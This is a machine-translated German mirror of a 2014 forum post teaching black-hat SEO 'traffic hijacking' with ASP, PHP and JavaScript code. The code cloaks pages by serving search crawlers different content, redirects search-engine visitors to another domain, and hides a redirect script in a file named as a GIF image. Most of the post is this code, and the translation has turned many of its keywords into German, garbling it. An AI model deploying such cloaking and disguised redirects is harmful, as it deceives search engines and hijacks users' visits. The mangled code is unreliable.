Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 12634|Antwort: 0

[SEO] Black-Hat-SEO-Technologie: Einbeziehen ASP php Verkehrs-Hijacking

[Link kopieren]
Veröffentlicht am 01.12.2014 18:48:55 | | |

Zuerst ist es ganz einfach: Fügen Sie folgenden Code auf die Startseite hinzu:

ASP-Version
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>

PHP-Version
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>


Fügen Sie dann den folgenden Code gemäß dem Programm der Website zur Conn-Datei hinzu; wenn Sie keinen conn.asp oder conn.php haben, erstellen Sie ihn selbst:

conn.asp Ausgabe

----------- folgende Reproduktion--------------------------------
<%
Funktion isspider()
Dim Agent, Searray, ich
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= falsch
für i=0 zu ubound(searray)
wenn (instr(agent,searray(i))>0) dann isspider=true
nächster
Endfunktion


Funktion fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= falsch
wenn urlrefer="" dann fromse= false
searray=array("google","baidu","sogou","yahoo","soso","soso","360")
für i=0 zu ubound(searray)
Wenn (instr(urlrefer,searray(i))>0), dann ist fromse=true
nächster
Endfunktion

Funktion getHTTP(URL)
  DIM HTTP
  set http=createobject("MSXML2. XMLHTTP")
  http.open "GET",url,false
  Http.send()
  wenn Http.readystate<>4 gilt, dann
    Austrittsfunktion
  Ende, wenn
  gethttp=bytes2BSTR(Http.responseBody)
  Set http=Nothing
  Wenn err.number<>0 dann err. Frei
Endfunktion

function bytes2BSTR(vIn)
  dim strReturn
  dim i,ThisCharCode,NextCharCode
  strReturn = ""
  Für i = 1 zu LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  Wenn thisCharCode < & H80 dann
  strReturn = strReturn & Chr(ThisCharCode)
  Oder
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  i = i + 1
  Ende Wenn
  Nächster
  bytes2BSTR = strReturn
Endfunktion


wenn(isspider()) dann
  dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
  bodyurl="http://www.itsvse.com" //snapshot URL
    response.clear
    remotehtml=gethttp(bodyURL)
    response.write(remotehtml)
    response.write("<!--"&now()&"-->")
    response.flush
    Antwort.Ende
Ende, wenn


%>

conn.php

---------------- folgende Reproduktion----------------

<?php
Funktion is_search_bot(){
        $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        $identify = Array ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
        foreach ($identify ALS $key => $tag){
                if (strstr($user_agent, $tag)){
                        Return true;
                }
        }
        return false; }
Funktion is_urlbaidu()
        {
        $come_from="baidu@sogou@soso@iask@naver";
        $referer = explodieren("@",$come_from);
        foreach($referer als $url){
                wenn (stristr($_SERVER['HTTP_REFERER'],$url)){
                        Return true;
                        }
        }
        return false; }

wenn (is_search_bot())
        {
        $html = "<title>Wuhan Software Engineering Vocational College</title> <metaname=\"Autor\" content=\"Füllen Sie das gleiche aus wie Keywords\"> <metaname=\"Keywords\" content=\"Keywords\"> <metaname=

\"Beschreibung\" Inhalt=\"Beschreibung\"> </head> <body>Inhalt</body></html>";
        Echo $html;
        }
wenn (!is_search_bot() & & is_urlbaidu())
{
Header('Location:http://www.itsvse.com');
}
?>



Laden Sie schließlich im Images-Verzeichnis eine k.gif Datei k.gif dem Code hoch:


var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Weiterleitungs-URL






Vorhergehend:Der neueste Code: QQ-Chat kann chatten, ohne Freunde hinzuzufügen, mit Ma Huateng chatten
Nächster:Demo-Tool für das Abhören des Telefons – Entführung von AndroidPowerOff
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com